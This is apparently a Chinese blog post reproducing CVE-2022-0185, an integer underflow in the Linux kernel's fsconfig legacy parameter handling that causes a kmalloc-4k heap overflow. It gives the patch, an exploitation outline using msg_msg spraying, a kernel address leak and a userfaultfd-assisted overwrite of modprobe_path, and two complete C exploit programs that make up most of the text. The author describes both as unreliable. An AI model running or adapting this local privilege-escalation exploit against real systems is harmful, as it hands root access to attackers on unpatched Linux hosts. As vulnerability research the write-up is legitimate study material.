【CVE 复现】CVE-2022-0185 fsconfig之整数溢出
影响版本：Linux-v5.1~v5.16.2
测试版本：Linux-5.11.22，由于懒得搞环境，所以直接用的 bsauce 大佬提供的 测试环境
看看 patch：
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&这里 len/size 都是无符号数，所以当 2+size > PAGE_SIZE 时，则 PAGE_SIZE - 2 - size 是一个很大的数从而绕过检查，这里会导致堆溢出。
溢出 kmem_cache：kmalloc-4k
利用思路：
1）堆喷 msg_msg，触发第一次漏洞溢出修改 m_ts 从而泄漏内核基地址
2）堆喷 msg_msg，触发第二次漏洞溢出配合 userfaultfd修改 m_next 实现任意地址写 modprobe_path
注：bsauce 佬提供的测试环境内核版本为 v5.11.22，普通用户是无法直接使用 userfaultfd 的，我看 bsauce 佬直接写了个 fuse 驱动模块，然后利用的 fuse 去增大竞争窗口。但是这里为了方便，我直接在设置了普通用户可以使用 userfaultfd，这里只是为了简化利用。
echo 1 > /proc/sys/vm/unprivileged_userfaultfd第一版垃圾 exp 如下：这里调整一下堆喷策略效果应该会好很多
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif
#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];
int fsopen(const char* fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}
int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}
int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct msg_buf {
long m_type;
char m_text[1];
};
struct msg_header {
void* l_next;
void* l_prev;
long m_type;
size_t m_ts;
void* next;
void* security;
};
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
exit(0);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000];
void* handler(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler");
size_t buf = modprobe_path - 8;
char* x = &buf;
char str[] = "/tmp/x";
printf("hijack_idx ==> %d\n", hijack_idx);
fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);
memset(copy_src, 0, sizeof(copy_src));
strncpy(copy_src, str, strlen(str));
strncpy(copy_src+8, str, strlen(str));
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
size_t do_leak()
{
char X_X = 1;
int fs_fd;
char buf[0x2000];
char msg_buffer[0x2000];
int msg_qid[SPARY_MSG_NUMS];
size_t kernel_offset;
struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;
memset(msg_buffer, 0, sizeof(msg_buffer));
msg_buf->m_type = 1;
if (!X_X) goto X_X_Label;
for (int i = 0; i < SPARY_MSG_NUMS / 2; i++)
{
if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i;
if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int i = 0; i < 273; i++)
{
fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);
for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++)
{
if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i;
if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
{
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
goto GO;
X_X_Label:
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int i = 0; i < 273; i++)
{
fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i;
if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
{
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
GO:
kernel_offset = -1;
size_t vim_mtype;
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
memset(buf, 0, sizeof(buf));
if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
{
for (int k = 0; k < 0x1000 / 8; k++)
{
size_t addr = *(uint64_t*)(buf+0x1000+k*8);
vim_mtype = ((struct msg_buf*)buf)->m_type;
if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
{
hexx("vim_mtype", vim_mtype);
kernel_offset = addr - 0xffffffff81f36770;
hexx("kernel_offset", kernel_offset);
break;
}
}
if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);
//binary_dump("OOB READ DATA", buf, 0x2000);
break;
}
}
return kernel_offset;
}
void hijack_modprobePath()
{
char buf[0x2000];
char msg_buffer[0x2000];
int msg_qid[SPARY_MSG_NUMS*2];
size_t kernel_offset;
struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;
memset(msg_buffer, 0, sizeof(msg_buffer));
msg_buf->m_type = 1;
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i*2+1;
if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
fs_fds[i] = fsopen("ext4", 0);
if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int j = 0; j < 273; j++)
{
fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i*2+1;
if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
// if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
// *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
// *(uint64_t*)(msg_buf->m_text+8) = i;
// if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);
}
char* uffd_buf;
pthread_t thr[SPARY_MSG_NUMS];
for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++)
{
msg_buf = (struct msg_buf*)buf;
msg_buf->m_type = 1;
if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
uffd_buf = NULL;
uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");
register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);
msg_buf = (struct msg_buf*)(uffd_buf+0x30);
if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
msg_buf->m_type = 1;
if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
munmap(uffd_buf, 0x2000);
}
}
int main(int argc, char** argv, char** envp)
{
bind_core(0);
pid_t pid;
int pipe_fd[2];
pipe(pipe_fd);
pid = fork();
if (!pid)
{
unshare(CLONE_NEWNS|CLONE_NEWUSER);
size_t kernel_offset;
kernel_offset = do_leak();
if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
modprobe_path = 0xffffffff8346c160 + kernel_offset;
hexx("modprobe_path", modprobe_path);
hijack_modprobePath();
write(pipe_fd[1], "X", 1);
exit(0);
} else if (pid < 0) {
err_exit("FAILED to fork a new process");
} else {
char buf[1];
read(pipe_fd[0], buf, 1);
get_flag();
}
return 0;
}效果如下：这里堆喷策略比较垃圾，成功率极低，后面再改改吧。
=========================================================================
修改了下堆喷策略，成功率提高了不少，虽然还不是很理想，比如受到 userfaultfd，modprobe_path可写的限制。这个好像可以直接套 pipe 构造页级UAF，后面再看看。
exp 如下：
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif
#define SPARY_MSG_NUMS 8
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS*2];
int fsopen(const char* fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}
int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}
int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
struct msg_buf {
long m_type;
char m_text[1];
};
struct msg_header {
void* l_next;
void* l_prev;
long m_type;
size_t m_ts;
void* next;
void* security;
};
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
system("chmod +x /tmp/dummy");
system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
sleep(0.3);
system("cat /flag");
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000];
void* handler(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler");
size_t buf = modprobe_path - 8;
char* x = &buf;
char str[] = "/tmp/x";
for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
{
fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", x, 0);
}
memset(copy_src, 0, sizeof(copy_src));
strncpy(copy_src, str, strlen(str));
strncpy(copy_src+8, str, strlen(str));
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
size_t do_leak()
{
int fs_fd;
char buf[0x2000];
char msg_buffer[0x2000];
int msg_qid[SPARY_MSG_NUMS*2];
size_t kernel_offset;
struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;
memset(msg_buffer, 0, sizeof(msg_buffer));
msg_buf->m_type = 1;
for (int i = 0; i < 20; i++)
{
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i;
if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int i = 0; i < 273; i++)
{
fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);
for (int i = 0; i < 10; i++)
{
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
for (int i = SPARY_MSG_NUMS; i < SPARY_MSG_NUMS*2; i++)
{
if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
*(uint64_t*)(msg_buf->m_text+8) = i;
if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
for (int i = 0; i < 30; i++)
{
if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
kernel_offset = -1;
size_t vim_mtype;
for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
{
memset(buf, 0, sizeof(buf));
if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
{
for (int k = 0; k < 0x1000 / 8; k++)
{
size_t addr = *(uint64_t*)(buf+0x1000+k*8);
vim_mtype = ((struct msg_buf*)buf)->m_type;
if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
{
hexx("vim_mtype", vim_mtype);
kernel_offset = addr - 0xffffffff81f36770;
hexx("kernel_offset", kernel_offset);
break;
}
}
//binary_dump("OOB READ DATA", buf, 0x2000);
break;
}
}
return kernel_offset;
}
void hijack_modprobePath()
{
puts("==> hijack modprobe_path <==");
char buf[0x2000];
char msg_buffer[0x2000];
int msg_qid[SPARY_MSG_NUMS];
int qid;
size_t kernel_offset;
struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;
memset(msg_buffer, 0, sizeof(msg_buffer));
msg_buf->m_type = 1;
for (int i = 0; i < SPARY_MSG_NUMS; i++)
{
fs_fds[i*2] = fsopen("ext4", 0);
if (fs_fds[i*2] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int j = 0; j < 273; j++)
{
fsconfig(fs_fds[i*2], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
// if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
// if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
if (i == SPARY_MSG_NUMS / 2)
{
if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}
fs_fds[i*2+1] = fsopen("ext4", 0);
if (fs_fds[i*2+1] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
for (int j = 0; j < 273; j++)
{
fsconfig(fs_fds[i*2+1], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
}
}
// for (int i = 0; i < SPARY_MSG_NUMS; i++)
// {
// if (msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
// err_exit("FAILED to msgrcv msg");
// }
if (msgrcv(qid, buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
err_exit("FAILED to msgrcv msg");
pthread_t thr;
char* uffd_buf;
msg_buf = (struct msg_buf*)msg_buffer;
msg_buf->m_type = 1;
// for (int i = 0; i < SPARY_MSG_NUMS / 3; i++)
// {
// if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
// if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
//
// }
uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if (uffd_buf <= 0) err_exit("FAILED to mmap for uffd_buf");
register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);
msg_buf = (struct msg_buf*)(uffd_buf+0x30);
msg_buf->m_type = 1;
if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}
int main(int argc, char** argv, char** envp)
{
bind_core(0);
pid_t pid;
int pipe_fd[2];
pipe(pipe_fd);
pid = fork();
if (!pid)
{
unshare(CLONE_NEWNS|CLONE_NEWUSER);
size_t kernel_offset;
kernel_offset = do_leak();
if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
modprobe_path = 0xffffffff8346c160 + kernel_offset;
hexx("modprobe_path", modprobe_path);
hijack_modprobePath();
write(pipe_fd[1], "X", 1);
puts("[+] CHILED END");
exit(0);
} else if (pid < 0) {
err_exit("FAILED to fork a new process");
} else {
char buf[1];
read(pipe_fd[0], buf, 1);
get_flag();
puts("[+] PARENT NED");
}
puts("[+] OVER");
return 0;
}总结：
自己的堆喷技巧不行，堆喷的效果非常差，非常不稳定，哎，还是多看看别人的 exp 好好学习吧